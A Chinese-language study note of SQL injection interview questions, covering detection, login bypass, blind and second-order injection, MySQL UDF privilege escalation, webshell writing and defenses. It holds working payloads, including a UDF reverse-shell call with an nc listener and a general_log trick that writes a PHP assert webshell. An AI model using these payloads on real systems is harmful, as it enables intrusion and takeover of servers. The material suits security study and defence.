以下是我在學習整理面試題時所遇到的問題,方便自己鞏固sql注入的學習。
1、sql注入的原理
sql注入就是指web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數帶入數據庫查詢,攻擊者可以通過構造不同的sql語句來實現對數據庫的任意操作。
2、sql注入的判斷方式會幾種(如何判斷有sql注入)
- 單引號法
如果頁面返回錯誤,則存在sql注入,因爲無論是字符型還是數字型都會因爲單引號個數不匹配而報錯。
- 輸入表達式判斷
如?id=8,可嘗試輸入id=2*4,或者id=8-0。
- 測試邏輯語句
以邏輯真和邏輯假共同測試。如下:
id=8' and 1=1
id=8' and '1'='1
id=8' and 1=2
id=7' and '1'='2
//如果是字符型,去掉id=8'後面的單引號。
- 測試延時語句
id=8 and sleep(5)--
若成功則延時返回,則說明存在sql注入。若沒有延時,則不存在sql注入。
3、sql注入轉譯了單引號,怎麼辦?
如果是get型,則嘗試寬字節繞過。
如果是post型,比如登錄框處,可嘗試構造sql語句進行繞過。
username這樣輸入:1\,
password這樣輸入:or 1=1;#
sql語句變成這樣select * from user_table where username='1\' and password='or 1=1;#';
在這裏,username中輸入的\轉義了它後面的單引號,因此sql語句實際上變成 username的值等於這樣一個字符串: 1' and password=,後面我再接or 1=1;#就生效了。
4、如何防禦sql注入
嚴格檢查輸入變量的類型和格式
過濾和轉義特殊字符
mysql的pdo預編譯機制
5、mysql是普通用戶時怎麼提權,root用戶時寫shell的條件?
udf提權:
前提:
(1)目標主機是Windows
(2)有insert delete權限
(3)secure_file_priv="" 參數無配置
(4)mysql版本>5.1要將udf.dll導入plugin_dir目錄下,可用show variables like '%plugin%'查看,小於5.1要導入到c:\\windows下
(5)絕對路徑
利用步驟:
(1)連接數據庫成功後將dll文件導入到plugin_dir目錄下
(2)輸入sql命令,create function cmdshell return soname "udf2.dll"
(3)再執行命令cmdshell('whoami'),發現已經是system權限了
(4)反彈shell,創建函數命令如下:create function backshell returns string soname 'udf2.dll'
select backshell("ip",port),服務器端nc監聽即可
root用戶寫shell的條件:
-
對web目錄有寫權限
-
GPC關閉(能使用單引號)
-
有絕對路徑(讀文件可以不用,寫文件必須)
-
沒有配置 –secure-file-priv
6、sql注入碰到update型和insert型,你會選擇哪種?
insert型,避免對原數據作出修改。
7、什麼是二次注入?
比如現在有兩個鏈接:
http://www.a.com/1.php?username=test
http://www.a.com/2.php?id=10
其中1.php頁面的功能是註冊用戶名,也是插入sql語句的地方。
2.php頁面的功能是通過參數id讀取用戶名和用戶信息。
第一步訪問1.php?username=test',返回錯誤,test',同時也返回了對應的id=21.
第二部訪問2.php?id=21。結果返回test'的信息。
然後又回到第一步構造新語句,1.php?username=test' order by 1#,得到一個新的id=31。
接着重複第二步訪問新的id, 2.php?id=31,返回錯誤(unknown column ‘10’ in 'order clause'),
一直重複該步驟。當訪問2.php?id=xxx時,頁面返回空白,那就是正常,便可以判斷數有幾列,接下來就同理了。
8、繞waf講一講?
小菜一枚,暫時沒研究繞waf。
9、sql注入拿shell的方式?
條件:絕對路徑,寫權限,secure_file_priv無配置,gpc關閉。
方式:
(1)執行系統命令進行反彈shell;
(2)讀配置文件嘗試遠程連接;
(3)寫一句話木馬。
(4)設置general_log和general_log_file,寫入包含sql日誌文件拿shell,設置了 general_log 和 general_log_file 之後所有SQL記錄都會寫入指定的文件,所以會導致 log 文件非常大,推薦只暫時打開
利用姿勢:
set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';
10、mysql提權有哪幾種?
udf提權;MOF提權
11、sqlmap -u參數是利用http的get 還是 post
get
12、怎麼判斷一個注入點是數字型還是字符型?布爾型呢?
不用多說,布爾型應該是存在一些當頁面沒有具體內容返回的時候,具體場景還請大神賜教。
13、盲注怎麼實現?
盲注包括時間盲注、布爾盲注。比如給一個url:www.a.com/?id=1。輸入單引號後報錯,可以這樣:?id=1' and if(substr(database(),1,1)='m',sleep(5),1) ,如果數據庫的名字的第一位是m,則延時5秒才返回結果,然後依次類推出完整的數據庫名、表名、列名和具體數據就ok,反之則直接返回結果。
而布爾盲注是根據返回結果是否爲1或者0,即真還是假,如果成功,返回1,失敗則返回0。同理推出其他數據。
14、sql注入攻擊流量的特點?
個人認爲應該是日誌中會存在大量url請求鏈接相同的情況,知識在個別參數中會存在and、union、各種符號等其他非法參數。